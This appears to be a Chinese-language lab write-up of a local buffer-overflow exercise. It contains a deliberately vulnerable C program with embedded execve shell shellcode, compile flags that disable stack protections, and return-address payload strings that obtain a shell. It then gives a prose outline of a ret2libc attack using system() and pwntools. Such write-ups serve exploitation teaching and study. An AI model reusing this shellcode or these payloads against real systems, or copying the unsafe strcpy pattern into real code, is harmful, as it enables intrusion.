一、ret2_var_shellcose(返回到栈上的shellcode)
代码:ret2lib.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int checkPass(const char* strPass)
{
int flag = 0;
char passwd_buff[16];
//int flag = 0; //mean false;
strcpy(passwd_buff, strPass);
if( strcmp(passwd_buff, "sysadmin123") == 0 )
{
flag = 1;
}
return flag;
}
int main(int argc, char* argv[])
{
char shellcode[] = {"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"};
printf("Shellcode address = %0p\n", shellcode);
if( argc < 2 ){
printf("Usage: %s <password> \n", argv[0]);
return 1;
}
int isUserOK = checkPass(argv[1]);
if( isUserOK ){
printf("Access granted.\n");
}else{
printf("Access denied.\n");
}
return 0;
}
编译:
gcc -g -m32 -z norelro -fno-stack-protector -z execstack -no-pie ret2lib.c
checksec检查可执行文件
objdump -d a.out 查看汇编代码
试运行 a.out
构造payload
0123456789012345678901print "\xe2\xd4\xff\xff"
第一次没成功,因为shellcode是main()里的一个局部变量,每次都是动态的入栈,因为上面我们为了得到shellcode地址是直接运行的 ./a.out 主函数没带任何参数,则栈中没主函数的参数,后面我们为了将payload 作为主函数的参数,导致栈中有主函数的参数,从而使,后面的shellcode在栈中的位置发生改变。所有我们可以直接用这次运行出来的shellcode地址来重新构成payload.
01234567890123456789012345678901`print "\xc2\xd4\xff\xff"`
成功拿到shell
二、libc泄漏利用
因为是在本地实验,没有libc泄露环节,按正常环境,目标都是在互联网上,就需要先利用已经被调用国的libc函数地址来泄露目标机器上的libc版本,然后根据版本来来确定利用函数的相对地址,在根据泄露的libc函数绝对地址来计算利用函数的绝对地址,从而实现目标libc函数的利用。
gdb 来找可利用代码
上面找到了 system() 函数地址,字符串 “/bin/sh”地址、exit()地址这不是必须的,只是为了利用完后完美退出。
objdump 查看汇编代码 确定payload 长度
利用pwntool 编写脚本
成功拿到shell